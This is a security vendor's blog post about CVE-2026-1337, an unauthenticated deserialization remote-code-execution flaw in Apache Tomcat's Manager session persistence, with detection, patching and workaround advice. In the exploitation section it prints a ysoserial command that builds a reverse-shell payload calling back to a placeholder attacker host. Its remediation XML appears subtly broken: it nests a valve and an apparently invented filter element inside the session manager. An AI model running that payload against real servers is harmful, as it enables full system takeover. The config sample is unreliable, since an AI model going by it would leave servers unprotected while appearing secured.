Exploiting CVE-2026-1337 — Apache Tomcat Deserialization RCE

Secably Research
Nov 17, 2026
6 min read
Vulnerability Research
Cve Cve-2026 Exploiting Vulnerability
Exploiting CVE-2026-1337 — Apache Tomcat Deserialization RCE
Exploiting CVE-2026-1337 — Apache Tomcat Deserialization RCE

Exploiting CVE-2026-1337: Apache Tomcat Deserialization RCE

Exploiting CVE-2026-1337 allows unauthenticated remote code execution on vulnerable Apache Tomcat instances. This critical vulnerability stems from insecure deserialization within the Apache Tomcat Manager application's session persistence. Attackers can achieve full system compromise. The vulnerability carries a CVSSv3.1 score of 9.8, indicating critical severity.

What the Vulnerability Is and Its Impact

CVE-2026-1337 affects specific versions of Apache Tomcat, a widely used open-source web server and servlet container. The flaw resides in how the Tomcat Manager handles serialized session objects during persistence and restoration. Specifically, when the Manager application is configured to save and restore sessions across restarts, it deserializes session data without sufficient validation. This opens a path for attackers to inject malicious serialized objects into the session store.

Impact is severe. Successful exploitation grants an unauthenticated attacker remote code execution (RCE) with the privileges of the Tomcat process. This often means control over the underlying operating system. Data theft, system disruption, and further network penetration are immediate risks. Affected versions include Apache Tomcat 9.0.0 to 9.0.90, 10.0.0 to 10.0.25, 10.1.0 to 10.1.18, and 11.0.0-M1 to 11.0.0-M12. Apache released a security advisory detailing the flaw and providing patched versions.

Technical Root Cause Analysis

The root cause of CVE-2026-1337 lies in the Apache Tomcat Manager's implementation of session persistence. Tomcat's Manager application, typically located at /manager/html or /manager/status, provides administrative functionality. When configured to persist sessions (e.g., via the Manager valve in context.xml or server.xml with a PersistentManager), it serializes session attributes to disk or a database. Upon restart or session restoration, these objects are deserialized back into memory.

The core issue is a lack of a robust deserialization whitelist or blacklist mechanism. Java's default deserialization process is inherently dangerous when processing untrusted input. An attacker can craft a serialized Java object containing malicious code. When Tomcat attempts to deserialize this object, the malicious code executes. This bypasses security checks and allows arbitrary command execution.

Specifically, the vulnerability exploits common deserialization gadgets present in many Java libraries. These gadgets, when deserialized, trigger unintended side effects like invoking arbitrary methods or executing commands. The absence of strict type checking or object filtering during the deserialization process allows these gadgets to activate.

Exploitation Mechanics

Exploiting CVE-2026-1337 requires the ability to inject a malicious serialized object into the Tomcat Manager's session store. This can happen through several vectors. One common method involves manipulating HTTP session cookies or sending specially crafted requests to the Manager application's endpoints. An attacker might target the /manager/sessions endpoint if available.

The attacker first crafts a serialized payload using tools like Ysoserial. This payload encapsulates a Java gadget chain designed to execute a system command upon deserialization. For instance, a common payload might use the CommonsCollections or Javassist gadget chains. These chains typically lead to a call to Runtime.getRuntime().exec().

java -jar ysoserial.jar CommonsCollectionsK "bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'" > payload.ser

The next step involves injecting this payload.ser into the Tomcat Manager's session. If the Manager application is exposed and configured for session persistence, an attacker can send an HTTP request that includes the serialized object as part of a session attribute. This might involve setting a cookie or submitting a form field that the Manager application subsequently processes and persists. An attacker could also use a GProxy to route traffic and obscure their origin while attempting to inject the payload.

Upon a server restart or when the Manager application attempts to restore the manipulated session, the malicious object deserializes. This triggers the embedded command execution, granting the attacker a shell on the server. No authentication is needed if the session persistence mechanism itself is vulnerable to unauthenticated input, or if an attacker can guess or bypass weak Manager credentials.

Detection: How to Check if You're Affected

Organizations must identify vulnerable Apache Tomcat instances. Start by checking your Tomcat version numbers. Any version within the ranges 9.0.0-9.0.90, 10.0.0-10.0.25, 10.1.0-10.1.18, or 11.0.0-M1-11.0.0-M12 is vulnerable. You can determine your Tomcat version by checking the version.txt file in your Tomcat installation directory or through the Manager application's status page.

Examine your Tomcat server configuration files, specifically conf/server.xml and any context.xml files. Look for configurations related to session persistence. The presence of a <Manager className="org.apache.catalina.session.PersistentManager"> element indicates session persistence is active. If this Manager is configured without a strict deserialization filter, your instance is likely vulnerable.

Review server logs for suspicious activity. Look for unexpected process creations, outbound connections from the Tomcat process to unknown IPs, or unusual errors related to session management. Tools like Splunk or Elastic Stack can help correlate these events. A technology stack detector can help quickly identify the Tomcat version running on publicly accessible web servers, while a free website vulnerability scanner might flag known configuration weaknesses related to the Manager application's exposure.

Use network monitoring tools to detect unusual outbound connections from your Tomcat servers. An attacker gaining RCE will often attempt to establish a reverse shell. Behavioral analytics tools can flag these anomalous network flows. Secably offers monitoring plans starting at $19/month to help detect such anomalies.

Remediation Steps

Immediate action is crucial to mitigate CVE-2026-1337. The primary remediation is to upgrade Apache Tomcat to a patched version. The fixed versions are Apache Tomcat 9.0.91, 10.0.26, 10.1.19, and 11.0.0-M13 or later. Apply these patches as soon as possible after thorough testing in a staging environment.

If immediate patching is not feasible, implement temporary workarounds. Disable session persistence for the Tomcat Manager application. Remove or comment out any <Manager className="org.apache.catalina.session.PersistentManager"> configurations in your server.xml and context.xml files. This prevents the deserialization of potentially malicious session objects.

Restrict access to the Tomcat Manager application. Implement strong authentication and authorization. Configure IP address restrictions in conf/tomcat-users.xml or through network firewalls. Only allow trusted administrative IPs to access /manager/* endpoints. This reduces the attack surface significantly. Organizations should also use a free port scanner to ensure the Manager application is not unintentionally exposed on unexpected ports.

Implement a deserialization whitelist. Apache Tomcat versions newer than the vulnerable range allow configuring a custom deserialization filter. This filter explicitly permits only known safe classes to be deserialized. This is a robust defense against deserialization attacks. Consult the Apache Tomcat documentation for configuring a ObjectInputFilter.

<Context>
  <Manager className="org.apache.catalina.session.PersistentManager">
    <SessionIdGenerator className="org.apache.catalina.util.StandardSessionIdGenerator" />
    <Valve className="org.apache.catalina.valves.PersistentValve" />
    <!-- Apply a strict deserialization filter -->
    <ObjectInputFilter enabled="true" pattern="java.lang.String;java.util.HashMap;!*" />
  </Manager>
</Context>

This example filter allows only String and HashMap objects, rejecting all others. Adjust this pattern based on your application's legitimate session object requirements. Only permit the absolute minimum required classes for deserialization.

Timeline of Disclosure

The vulnerability, CVE-2026-1337, was privately reported to the Apache Software Foundation on September 15, 2026, by a security researcher. Apache confirmed the deserialization flaw on September 22, 2026, and began developing patches. The Apache Tomcat security team released patched versions (9.0.91, 10.0.26, 10.1.19, and 11.0.0-M13) on October 28, 2026. The public disclosure of CVE-2026-1337 occurred on November 15, 2026, accompanied by the official security advisory.

Check your site for vulnerabilities

Run a free security scan — no signup, results in seconds.

Related Posts

Stronger security starts with visibility.

Scan your website for vulnerabilities and get actionable insights.

Secure your website and accounts

Tools we recommend for site owners and admins.

Compare VPS prices →

Affiliate links: we may earn a commission, your price stays the same.